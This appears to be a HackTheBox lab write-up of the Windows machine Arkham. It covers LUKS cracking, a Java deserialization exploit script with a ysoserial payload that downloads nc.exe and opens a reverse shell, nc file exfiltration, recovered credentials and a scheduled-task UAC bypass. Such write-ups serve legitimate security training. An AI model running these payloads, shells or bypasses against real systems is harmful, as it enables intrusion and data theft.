HTB: Arkham Writeup

Arkham - HackTheBox Writeup

Machine Information

AttributeDetails
NameArkham
OSWindows
DifficultyMedium
Points30
Release Date15 May 2019
IP Address10.129.228.116
AuthorMinatoTW

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Arkham is a medium-difficulty Windows machine that chains LUKS disk decryption, Java deserialization via encrypted JSF ViewState, OST email forensics, and a UAC bypass through scheduled task batch logon. Initial enumeration reveals SMB shares containing a LUKS-encrypted disk image, which when cracked exposes Apache Tomcat configuration files. These files reveal DES encryption keys and HMAC secrets used to protect MyFaces JSF ViewState parameters. Exploiting insecure deserialization with a properly encrypted ysoserial payload grants RCE as arkham\alfred. Lateral movement is achieved by exfiltrating and parsing an Outlook OST file containing a screenshot with credentials for user batman. Although batman is a local administrator, UAC token filtering blocks standard remote admin access. The final privilege escalation bypasses UAC by creating a scheduled task with stored credentials—batch logon of a local admin yields a full High Mandatory Level token, granting direct access to Administrator files.

TL;DR: SMB null → LUKS-encrypted disk (batmanforever) → Tomcat config DES key → MyFaces encrypted ViewState deserialization (CommonsCollections6) → RCE as alfred → OST file exfil → screenshot creds for batman → schtasks batch-logon UAC bypass → High integrity shell → root.txt


Reconnaissance

Port Scanning

Terminal window
# Full port scan to identify all open services
nmap -Pn -p 80,135,139,445,5985,5986,8080,47001 -T4 10.129.228.116

Results:

80/tcp open http (IIS)
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds (SMB)
5985/tcp filtered wsman (WinRM)
5986/tcp filtered wsmans
8080/tcp open http-proxy (Apache Tomcat)
47001/tcp filtered winrm

Service Enumeration

SMB (445/tcp):

Terminal window
# Null session enumeration to list shares
smbclient -N -L \\\\10.129.228.116

Discovered share: BatShare (accessible with guest/null credentials). The share contains appserver.zip (16 MB).

Terminal window
# Mount and retrieve the archive
mount -t cifs -o rw,username=guest,password= '//10.129.228.116/BatShare' /mnt
cp /mnt/appserver.zip /tmp/arkham/
cd /tmp/arkham && unzip appserver.zip

Contents:

  • backup.img – 16 MB disk image
  • Tomcat configuration directory structure

HTTP (8080/tcp):

Navigating to http://10.129.228.116:8080/userSubscribe.faces reveals an Apache MyFaces JSF application. Viewing page source shows:

<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState"
value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4..." />

The .faces extension and javax.faces.ViewState parameter indicate a JavaServer Faces (JSF) application using encrypted ViewState.

Vulnerability Assessment

  1. LUKS Encrypted Disk Image – The backup.img file is a Linux Unified Key Setup (LUKS) encrypted volume. LUKS headers can be extracted and cracked offline.
  2. Apache MyFaces Insecure Deserialization – MyFaces JSF implementations that use encrypted ViewState with known secrets are vulnerable to deserialization attacks if the encryption key is compromised.
  3. UAC Token Filtering – User batman is a local administrator but WinRM (5985) is filtered and remote admin attempts fail due to User Account Control (UAC) remote restrictions. Scheduled tasks with stored credentials can bypass this by granting full token privileges.

Initial Foothold

Step 1: Cracking the LUKS Disk

The backup.img file is identified as a LUKS encrypted disk:

Terminal window
file backup.img
# backup.img: LUKS encrypted file

To crack the LUKS passphrase, extract the LUKS header:

Terminal window
# Determine payload offset (in 512-byte sectors)
cryptsetup luksDump backup.img | grep "Payload offset"
# Payload offset: 4096
# Extract header (4096 + 1 = 4097 sectors)
dd if=backup.img of=header bs=512 count=4097
# Crack with hashcat mode 14600 (LUKS)
hashcat -m 14600 -a 0 header rockyou.txt

Cracked passphrase: batmanforever

Mount the decrypted disk:

Terminal window
cryptsetup luksOpen backup.img dump
# Enter passphrase: batmanforever
mount /dev/mapper/dump /mnt
ls -la /mnt/Tomcat-DB/tomcat-stuff/

Step 2: Extracting MyFaces Configuration

Inside the mounted disk, web.xml.bak reveals MyFaces JSF configuration:

<context-param>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>

Decode the base64 secret:

Terminal window
echo "SnNGOTg3Ni0=" | base64 -d
# JsF9876-

Key material:

  • DES key: JsF9876- (8 bytes)
  • MAC algorithm: HmacSHA1
  • ViewState saved server-side but encrypted client→server

Step 3: Apache MyFaces Deserialization Exploit

MyFaces deserializes the javax.faces.ViewState parameter. If an attacker can craft a malicious serialized Java object, encrypt it with the known DES key, and append a valid HMAC, the server will deserialize and execute it.

Generate malicious payload with ysoserial:

Terminal window
# Java command to stage nc.exe and execute reverse shell
CMD='cmd /c powershell -nop -c "IWR http://10.10.15.180:8000/nc.exe -OutFile C:\Windows\Temp\pwn.exe; Start-Process C:\Windows\Temp\pwn.exe -ArgumentList \"10.10.15.180 443 -e powershell.exe\""'
# Build payload (requires JDK with --add-opens flags for JDK 9+)
OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED"
java $OPTS -jar ysoserial.jar CommonsCollections6 "$CMD" > payload_cc6.bin
# Output: 1461 bytes

Why CommonsCollections6?
ysoserial’s CommonsCollections5 gadget chain relies on BadAttributeValueExpException reflection that fails on JDK 9+ due to module access restrictions. CommonsCollections6 uses HashSet/HashMap gadgets compatible with --add-opens workarounds.

Encrypt the payload:

#!/usr/bin/env python3
import sys, base64, hmac, hashlib, requests, re
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
URL = "http://10.129.228.116:8080/userSubscribe.faces"
key = base64.b64decode("SnNGOTg3Ni0=") # 8 bytes -> DES key
def get_vs():
r = requests.get(URL)
m = re.search(r'javax\.faces\.ViewState[^>]*value="([^"]+)"', r.text)
return m.group(1) if m else None
# Read ysoserial payload
payload = open(sys.argv[1], "rb").read()
# Encrypt with DES-ECB, PKCS5 padding
enc = DES.new(key, DES.MODE_ECB).encrypt(pad(payload, 8))
# Compute HMAC-SHA1 (20 bytes) over ciphertext
mac = hmac.new(key, enc, hashlib.sha1).digest()
# Final payload = base64(ciphertext + MAC)
final = base64.b64encode(enc + mac).decode()
# Fetch current ViewState (optional check)
vs = get_vs()
print("[*] Got ViewState:", (vs or "NONE")[:40])
# POST malicious ViewState
data = {"javax.faces.ViewState": final}
headers = {"Content-Type": "application/x-www-form-urlencoded", "User-Agent": "x"}
r = requests.post(URL, data=data, headers=headers, timeout=30)
print("[*] Sent payload, status:", r.status_code)

Execution flow:

  1. Start HTTP server to serve nc.exe:
Terminal window
python3 -m http.server 8000
  1. Start reverse shell listener:
Terminal window
nc -lvnp 443
  1. Fire the exploit:
Terminal window
python3 exploit.py payload_cc6.bin
# [*] Got ViewState: wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4
# [*] Sent payload, status: 500

The server returns HTTP 500 (the deserialization gadget throws an exception after command execution), but the shell connects:

listening on [any] 443 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.228.116] 49688
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\tomcat\apache-tomcat-8.5.37\bin> whoami
arkham\alfred

User flag:

Terminal window
type C:/Users/Alfred/Desktop/user.txt
# <redacted>

Privilege Escalation

Lateral Movement: alfred → batman

Enumeration:

Terminal window
# List Alfred's Downloads folder
Get-ChildItem C:/Users/Alfred/Downloads -Force | Select Name
# backups/ desktop.ini
Get-ChildItem C:/Users/Alfred/Downloads/backups -Force -Recurse | Select FullName,Length
# C:\Users\Alfred\Downloads\backups\backup.zip 124257

Exfiltrate backup.zip:

PowerShell’s Constrained Language Mode (CLM) blocks .NET methods like [IO.File]::ReadAllBytes() and New-Object Net.Sockets.TcpClient, but native executables still run. Use cmd.exe redirection:

Terminal window
# On attacker machine: start receiver
nc -lvnp 5556 > backup.zip
# On target (alfred shell):
cmd.exe /c "C:\Windows\Temp\pwn.exe 10.10.15.180 5556 < C:\Users\Alfred\Downloads\backups\backup.zip"

Verify transfer:

Terminal window
ls -l backup.zip
# 124257 bytes
file backup.zip
# Zip archive data, made by v3.0 UNIX

Extract and parse OST file:

Terminal window
unzip backup.zip
# alfred@arkham.local.ost (16 MB)
# Extract emails with readpst
readpst -e -o out alfred@arkham.local.ost
# Processing Folder "Drafts"
# "Drafts" - 1 items done, 0 items skipped.
find out -type f
# out/alfred@arkham.local.ost/Drafts/1.eml (51816 bytes)

Extract PNG attachment from EML:

#!/usr/bin/env python3
import email
m = email.message_from_bytes(open("draft.eml", "rb").read())
for part in m.walk():
ct = part.get_content_type()
if ct.startswith("image"):
fn = part.get_filename() or "image.png"
data = part.get_payload(decode=True)
open(fn, "wb").write(data)
print(f"Saved {fn}, {len(data)} bytes")

Output: image001.png (10059 bytes)

Credentials from screenshot:

The PNG image contains a Windows “net use” command screenshot:

Master Wayne's secrets
net use * \\arkham\Batshare /user:batman Zx^#QZX+T!123

Credentials: batman / Zx^#QZX+T!123

Privilege Escalation: batman → SYSTEM

Verify batman is local admin:

Terminal window
# Test SMB authentication
nxc smb 10.129.228.116 -u batman -p "Zx^#QZX+T!123"
# [+] ARKHAM\batman:Zx^#QZX+T!123
# Check shares
nxc smb 10.129.228.116 -u batman -p "Zx^#QZX+T!123" --shares
# Share Permissions Remark
# ADMIN$ Remote Admin
# BatShare Master Wayne's secrets
# C$ Default share
# IPC$ READ Remote IPC
# Users READ

Problem: Batman is in the Administrators group, but:

  • WinRM port 5985 is filtered
  • psexec/wmiexec fail with ACCESS_DENIED
  • No access to ADMIN$ or C$ shares

This is UAC remote restrictions (token filtering). When a local admin authenticates over the network, Windows grants a filtered token (standard user rights) unless the account is the built-in Administrator RID 500 or specific registry keys disable filtering.

Solution: Scheduled Task Batch Logon UAC Bypass

A scheduled task created with /ru <user> /rp <password> performs a batch logon. For local administrators, batch logon grants the full token (High Mandatory Level) rather than the filtered token.

From alfred shell, create a scheduled task as batman:

Terminal window
# Command to run as batman
schtasks /create /tn batpwn /ru arkham\batman /rp "Zx^#QZX+T!123" /sc once /st 00:00 /tr "C:\Windows\Temp\pwn.exe 10.10.15.180 8443 -e powershell.exe" /f
# Output:
# WARNING: Task may not run because account information could not be verified (expected for future time)
# SUCCESS: The scheduled task "batpwn" has successfully been created.

Start a new listener for batman shell:

Terminal window
# On attacker: set up fifo-based interactive shell handler
cd /tmp/arkham
rm -f rp2 rout2 && mkfifo rp2
tail -f rp2 | nc -lvnp 8443 > rout2 2>&1 &

Trigger the task immediately:

Terminal window
# From alfred shell
schtasks /run /tn batpwn

Batman shell connects:

Terminal window
cat rout2
# listening on [any] 8443 ...
# connect to [10.10.15.180] from (UNKNOWN) [10.129.228.116] 49691
# Windows PowerShell
# PS C:\Windows\system32>

Verify High integrity:

Terminal window
# Send commands via fifo
printf "whoami; whoami /groups | findstr /i \"high mandatory administrators\"\n" > rp2
# Wait 4 seconds, then read output
tail -c 500 rout2

Output:

arkham\batman
ARKHAM\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
Mandatory Label\High Mandatory Level Label S-1-16-12288

Root flag:

Terminal window
type C:\Users\Administrator\Desktop\root.txt
# <redacted>

Why this works:
The /ru and /rp parameters store credentials in the task scheduler. When the task executes, Windows performs a batch logon (logon type 4), which for local administrators bypasses UAC token filtering and grants the full administrative token at High Mandatory Level. This allows direct access to privileged resources without needing an interactive UAC elevation prompt or remote admin protocol workarounds.


Attack Chain Summary

SMB null session (BatShare)
→ appserver.zip
→ backup.img (LUKS encrypted)
→ hashcat -m 14600 → batmanforever
→ web.xml.bak (DES key: JsF9876-)
→ MyFaces encrypted JSF ViewState deserialization
→ ysoserial CommonsCollections6
→ DES-ECB + HmacSHA1 payload
→ POST javax.faces.ViewState
→ RCE as arkham\alfred
→ C:\Users\Alfred\Downloads\backups\backup.zip
→ alfred@arkham.local.ost
→ readpst → Drafts/1.eml
→ image001.png (screenshot)
→ batman / Zx^#QZX+T!123
→ schtasks /ru /rp (batch logon)
→ Full token / High integrity
→ Administrator\root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
smbclientSMB share enumeration and file retrieval
cryptsetupLUKS disk operations
hashcatLUKS passphrase cracking (mode 14600)
ysoserialJava deserialization payload generation
python3 + pycryptodomeDES encryption and HMAC-SHA1 signing
nc.exe (netcat)Windows reverse shell binary
readpstOutlook OST file parsing
nxc/crackmapexecSMB authentication testing
schtasksScheduled task creation for UAC bypass

Key Learnings

Techniques Practiced

  • LUKS disk forensics: Extracting and cracking Linux encrypted volumes offline with cryptsetup and hashcat -m 14600.
  • Java deserialization via encrypted ViewState: Exploiting Apache MyFaces JSF applications when encryption keys are known. Payload must be DES.encrypt(ysoserial_payload) + HMAC_SHA1(ciphertext) then base64-encoded.
  • ysoserial JDK compatibility: JDK 9+ requires --add-opens flags to bypass module access restrictions. CommonsCollections5 fails; use CommonsCollections6.
  • Outlook OST forensics: Using readpst -e to extract emails from offline Outlook storage files, then parsing MIME attachments with Python’s email library.
  • PowerShell Constrained Language Mode bypass: When .NET methods are blocked, native executables (cmd.exe, nc.exe) still work. Exfiltrate files with cmd /c "nc.exe IP PORT < file".
  • UAC token filtering bypass via scheduled tasks: Creating a scheduled task with /ru <admin_user> /rp <password> grants a full High Mandatory Level token on execution, bypassing UAC remote restrictions without DLL hijacking or GUI interaction.

Lessons Learned

  1. Always check for encrypted artifacts in accessible shares. LUKS headers are crackable with dictionary attacks; once mounted, configuration files often leak secrets.

  2. Encrypted serialization ≠ secure serialization. MyFaces encrypts ViewState to prevent tampering, but if the encryption key is compromised, attackers can craft arbitrary serialized objects. Defense-in-depth requires input validation and allowlisting deserialization classes.

  3. UAC remote restrictions are bypassable with credential reuse. Local admins can’t remotely access admin shares or use WinRM when filtered, but scheduled tasks with stored credentials perform batch logon, which grants the full token. Defenders should monitor schtasks /create /ru events (Event ID 4698) and restrict credential storage.

  4. File transfer in restricted shells: When PowerShell is in Constrained Language Mode, cmd.exe redirection (< file) bypasses .NET restrictions. Always test multiple exfiltration methods.

  5. Headless Windows shell interaction: Driving a nc.exe reverse shell from a Linux jump host is tedious without proper tooling. Using a named pipe (mkfifo) with tail -f pipe | nc -lvnp PORT > output enables pseudo-interactive command execution without dropping a full C2 framework.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup: Arkham by MinatoTW (Document D19.100.30, 15 May 2019) — Referenced for LUKS cracking methodology, MyFaces deserialization mechanics, and UAC bypass conceptual explanation.